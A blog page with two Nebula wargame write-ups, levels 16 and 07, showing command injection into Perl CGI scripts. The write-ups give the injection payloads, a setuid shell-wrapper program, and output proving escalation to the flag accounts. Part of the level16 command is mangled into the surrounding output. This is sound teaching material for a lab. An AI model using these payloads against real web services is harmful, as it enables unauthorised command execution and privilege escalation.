Showing posts with label perl. Show all posts
Showing posts with label perl. Show all posts

Monday, September 3, 2012

nebula level16

Level details:
There is a perl script running on port 1616.
Source code:

Once again we're dealing with command injection, but this time you'll notice that there's some restrictions to our input. The username is first converted to uppercase then removed everything after the first space. We can overcome the first restriction easily using the case modification features that bash provides (read "Case modification" in the bash man page). Here's a quick test:
level16@nebula:~$ VAR="HACK THE PLANET"
level16@nebula:~$ echo ${VAR,,}
hack the planet
So far so good.
Now the second restriction, no spaces. Looking at where the $username variable is, we'll need to close egrep's pattern's double-quote:
"
But egrep also needs an input file, and we don't want it to read from the standard input since we don't have control over that. But a second argument requires a space to be inserted. What we can do is pipe in /dev/null to the standard input:
"</dev/null
Now we need to inject our command. Since no spaces are allowed, we can inject a minimal command that invokes a shell script. Let's assume for a moment that we have the shell script in /tmp/mkshell that makes a SUID shell for us. The input at this point looks like:
"</dev/null;/tmp/mkshell;
Now we need to close up. We can ignore everything that follows by marking it as a comment.
"</dev/null;/tmp/mkshell;#
But you do remember that everything gets converted to uppercase, right? The actual command executed will be:
"</DEV/NULL;/TMP/MKSHELL;#
There's not much we can do about the /DEV/NULL, except put in a non-existent file. bash won't execute the egrep command, but it will execute everything else. /DEV/NULL is already non-existent so we might just as well leave it.
We can put /TMP/MKSHELL in a variable and use case modification as explained above.
"</dev/null;a=/tmp/mkshell;${a,,};#
After uppercase conversion, this looks like:
"</DEV/NULL;A=/TMP/MKSHELL;${A,,};#
Now we write /tmp/mkshell.
level16@nebula:~$ cat > /tmp/mkshell
#!/bin/sh

cat << EOF > /tmp/shell.c
#include <unistd.h>
#include <stdlib.h>

int main()
{
    int euid = geteuid();

    setresuid(euid, euid, euid);
    system("sh");
    return 0;
}
EOF
cc -o /tmp/flag16_sh /tmp/shell.c
chmod +s /tmp/flag16_sh
Now, just like level07, we need to URL-encode the input before submitting the HTTP request. Let's get that flag.
level16@nebula:~$ username=$(php -r 'echo urlencode("\" lethal_data              level16@nebula:~$ wget -q -O - --post-data=lethal_data 'localhost:1616/index.cgi'Login resulsYour login failed
Would you like a cookie?

level16@nebula:~$ /tmp/flag16_sh sh-4.2$ id uid=983(flag16) gid=1017(level16) egid=983(flag16) groups=983(flag16),1017(level16) sh-4.2$ getflag You have successfully executed getflag on a target account
A few more flags and we'll be on our way to protostar ;)

~ Dmitry

Saturday, August 11, 2012

nebula level07

The level description states that this is flag07's first perl script. It's an interface to the "ping" command. The source code is as follows:
It's used as a CGI script. Looking at flag07's home directory, we can see the http daemon config:
level07@nebula:~$ ls -l /home/flag07
total 8
-rwxr-xr-x 1 root root  368 Nov 20  2011 index.cgi
-rw-r--r-- 1 root root 3719 Nov 20  2011 thttpd.conf
level07@nebula:~$ cat /home/flag07/thttpd.conf
# /etc/thttpd/thttpd.conf: thttpd configuration file

# This file is for thttpd processes created by /etc/init.d/thttpd.
# Commentary is based closely on the thttpd(8) 2.25b manpage, by Jef Poskanzer.

# Specifies an alternate port number to listen on.
port=7007

# Specifies a directory to chdir() to at startup. This is merely a convenience -
# you could just as easily do a cd in the shell script that invokes the program.
dir=/home/flag07

# Do a chroot() at initialization time, restricting file access to the program's
# current directory. If chroot is the compiled-in default (not the case on
# Debian), then nochroot disables it. See thttpd(8) for details.
nochroot
#chroot

# Specifies a directory to chdir() to after chrooting. If you're not chrooting,
# you might as well do a single chdir() with the dir option. If you are
# chrooting, this lets you put the web files in a subdirectory of the chroot
# tree, instead of in the top level mixed in with the chroot files.
#data_dir=

# Don't do explicit symbolic link checking. Normally, thttpd explicitly expands
# any symbolic links in filenames, to check that the resulting path stays within
# the original document tree. If you want to turn off this check and save some
# CPU time, you can use the nosymlinks option, however this is not
# recommended. Note, though, that if you are using the chroot option, the
# symlink checking is unnecessary and is turned off, so the safe way to save
# those CPU cycles is to use chroot.
#symlinks
#nosymlinks

# Do el-cheapo virtual hosting. If vhost is the compiled-in default (not the
# case on Debian), then novhost disables it. See thttpd(8) for details.
#vhost
#novhost

# Use a global passwd file. This means that every file in the entire document
# tree is protected by the single .htpasswd file at the top of the tree.
# Otherwise the semantics of the .htpasswd file are the same. If this option is
# set but there is no .htpasswd file in the top-level directory, then thttpd
# proceeds as if the option was not set - first looking for a local .htpasswd
# file, and if that doesn't exist either then serving the file without any
# password. If globalpasswd is the compiled-in default (not the case on Debian),
# then noglobalpasswd disables it.
#globalpasswd
#noglobalpasswd

# Specifies what user to switch to after initialization when started as root.
user=flag07

# Specifies a wildcard pattern for CGI programs, for instance "**.cgi" or
# "/cgi-bin/*". See thttpd(8) for details.
cgipat=**.cgi

# Specifies a file of throttle settings. See thttpd(8) for details.
#throttles=/etc/thttpd/throttle.conf

# Specifies a hostname to bind to, for multihoming. The default is to bind to
# all hostnames supported on the local machine. See thttpd(8) for details.
#host=

# Specifies a file for logging. If no logfile option is specified, thttpd logs
# via syslog(). If logfile=/dev/null is specified, thttpd doesn't log at all.
#logfile=/var/log/thttpd.log

# Specifies a file to write the process-id to. If no file is specified, no
# process-id is written. You can use this file to send signals to thttpd. See
# thttpd(8) for details.
#pidfile=

# Specifies the character set to use with text MIME types.
#charset=iso-8859-1

# Specifies a P3P server privacy header to be returned with all responses. See
# http://www.w3.org/P3P/ for details. Thttpd doesn't do anything at all with the
# string except put it in the P3P: response header.
#p3p=

# Specifies the number of seconds to be used in a "Cache-Control: max-age"
# header to be returned with all responses. An equivalent "Expires" header is
# also generated. The default is no Cache-Control or Expires headers, which is
# just fine for most sites.
#max_age=
Notice that thttpd is configured to listen to port 7007. You can start experimenting with it right away by going to http://nebula:7007/index.cgi?Host=google.com

The vulnerability is clearly, once again, code injection. All we need to do is inject commands through the Host parameter. Like the other challenges, we want a shell, so let's compile a wrapper then make it SUID:
level07@nebula:~$ cat > /tmp/shell.c
#include <unistd.h>
#include <stdlib.h>

int main()
{
    int euid = geteuid();

    setresuid(euid, euid, euid);
    system("sh");
    return 0;
}
level07@nebula:~$ make /tmp/shell
cc     /tmp/shell.c   -o /tmp/shell
Now we only need to make it SUID for flag07. We can inject the command to do so by setting the Host parameter to "; cp /tmp/shell /tmp/flag07_sh; chmod +s /tmp/flag07_sh". We need to be careful to URL encode it first.
level07@nebula:~$ php -r 'echo "Host=" . urlencode("; cp /tmp/shell /tmp/flag07_sh; chmod +s /tmp/flag07_sh");' > lethal_data
level07@nebula:~$ wget -q -O - --post-file=lethal_data 'localhost:7007/index.cgi'
Ping results

level07@nebula:~$ /tmp/flag07_sh
sh-4.2$ getflag
You have successfully executed getflag on a target account
flags++ :)

~ Dmitry